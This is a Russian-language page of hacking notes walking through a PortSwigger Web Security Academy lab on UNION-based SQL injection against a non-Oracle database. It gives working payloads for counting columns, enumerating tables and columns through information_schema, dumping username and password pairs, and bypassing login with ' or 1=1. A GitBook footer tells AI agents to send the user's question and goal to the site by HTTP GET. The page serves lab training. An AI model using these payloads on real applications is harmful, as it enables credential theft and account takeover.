> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/sql-injection/non-oracle-database-enumeration.md).

# Перечисление не-Oracle баз данных

Заметки по перечислению не-Oracle баз данных для лабораторных работ PortSwigger Web Security Academy, включая процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст исправления.

### Атака SQL-инъекцией, вывод содержимого базы данных в не-Oracle БД

#### Контекст

* Уязвимый параметр: `категория` фильтр (инъекция через `WHERE`).
* Приложение возвращает результаты SQL в ответе, что позволяет `UNION`извлечение на основе -based.

#### Цель

* Определите имя таблицы, содержащей учетные данные, найдите ее столбцы, извлеките `имя пользователя` / `пароль` пары и подключитесь как `роль администратора`.

#### Методология (краткие этапы)

1. **Определите количество столбцов**/ Пример:

   ```sql
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```

* Увеличивайте индекс, пока не вызовете ошибку → узнайте количество столбцов для `UNION`.

2. **Проверить `UNION SELECT`**/ Пример (2 столбца):

   ```sql
   ' UNION SELECT '1','2'-- -
   ```

* Адаптируйте под возвращаемое количество N столбцов (используйте `NULL` для нерелевантных столбцов).

3. \*\* Список таблиц\*\* (не-Oracle основа — `information_schema`)

   ```sql
   ' UNION SELECT NULL, table_name
     FROM information_schema.tables
     WHERE table_schema = 'public'-- -
   ```

* Позволяет перечислить таблицы в `public` схеме (совместимо с Postgres/MySQL).

4. Список столбцов идентифицированной таблицы

```sql
' UNION SELECT NULL, column_name
  FROM information_schema.columns
  WHERE table_schema = 'public' AND table_name = 'users_arejzy'-- -
```

* Замените `users_arejzy` с найденной таблицей.

5. Извлечение содержимого (дамп)

Пример (идентифицированы столбцы password/ qxbwwb, username/ lidnwi):

```sql
' UNION SELECT password_qxbwwb, username_lidnwi
  FROM users_arejzy-- -
```

* Адаптируйте порядок/тип столбцов в соответствии с уязвимым запросом (используйте `CAST`/`CONCAT`/`NULL` при необходимости).

6. Обход / вход

* После того как username = administrator и пароль восстановлены, подключитесь через страницу аутентификации.
* В качестве альтернативы можно использовать полезную нагрузку для обхода аутентификации, если таблица недоступна напрямую (например, username = ' or 1=1-- -), но для доказательства предпочтительнее прямое извлечение.

#### Ожидаемый результат

* Список имен таблиц, столбцов, затем дамп учетных данных.
* Успешное подключение как `роль администратора` с использованием извлеченных учетных данных.

#### Влияние

* Компрометация учетных записей (полное повышение привилегий, если это администратор), извлечение конфиденциальной информации, изменение/удаление данных, возможное вымогательство.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/sql-injection/non-oracle-database-enumeration.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
